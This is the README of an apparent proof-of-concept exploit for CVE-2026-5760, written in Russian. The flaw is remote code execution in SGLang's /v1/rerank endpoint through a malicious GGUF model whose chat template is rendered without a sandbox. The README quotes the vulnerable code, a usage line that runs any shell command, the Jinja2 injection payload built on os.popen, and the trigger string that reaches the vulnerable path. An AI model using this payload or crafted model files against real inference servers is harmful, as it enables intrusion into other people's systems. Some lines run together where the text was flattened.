
Эксплуатация Proof of Concept для CVE-2026-5760 — RCE в SGLang 0.5.9 через вредоносный GGUF
Удаленное выполнение кода через Server-Side Template Injection (SSTI) в эндпоинте реранкинга SGLang. Вредоносный файл модели GGUF с подделанным tokenizer.chat_template обеспечивает произвольное выполнение кода при загрузке в SGLang и вызове эндпоинта /v1/rerank.
Использование уязвимости критической степени серьезности в SGLang через непесочный рендеринг шаблонов Jinja2. Эндпоинт реранкинга SGLang (/v1/rerank) отображает предоставленные моделью chat-шаблоны с использованием jinja2.Environment() вместо ImmutableSandboxedEnvironment, что позволяет вредоносной модели выполнять произвольный код Python на сервере инференса.
Это тот же класс уязвимостей, что и CVE-2024-34359 («Llama Drama»), затронувший llama-cpp-python.
tokenizer.chat_template, содержащим полезную нагрузку SSTI Jinja2serving_rerank.py/v1/rerank SGLang читает chat_template и рендерит его с помощью jinja2.Environment() — без песочницыФайл: python/sglang/srt/entrypoints/openai/serving_rerank.py
# serving_rerank.py lines 128-132 — UNSANDBOXED
def _get_jinja_env():
return jinja2.Environment( # <-- Should be ImmutableSandboxedEnvironment
loader=jinja2.BaseLoader(),
autoescape=False,
undefined=jinja2.Undefined,
)
PoC генерирует вредоносный файл GGUF и демонстрирует выполнение кода через непесочный путь рендеринга SGLang.
python3 exploit.py "id"
Передайте любую команду shell в качестве аргумента — по умолчанию используется id.
Вредоносный chat-шаблон, встроенный в файл GGUF:
MALICIOUS_TEMPLATE = (
'The answer can only be "yes" or "no".\n'
'{{ lipsum.__globals__["os"].popen("echo SGLANG_RCE_CONFIRMED").read() }}'
'{% for message in messages %}{{ message["content"] }}{% endfor %}'
)
The answer can only be "yes" or "no") необходима для активации детектора Qwen3 reranker в SGLang, направляющей запрос через уязвимый путь _render_jinja_chat_template().lipsum.__globals__["os"].popen() выходит за пределы контекста Jinja2 для выполнения произвольных команд ОС.Этот инструмент предназначен только для авторизованных исследований в области безопасности и образовательных целей. Используйте ответственно.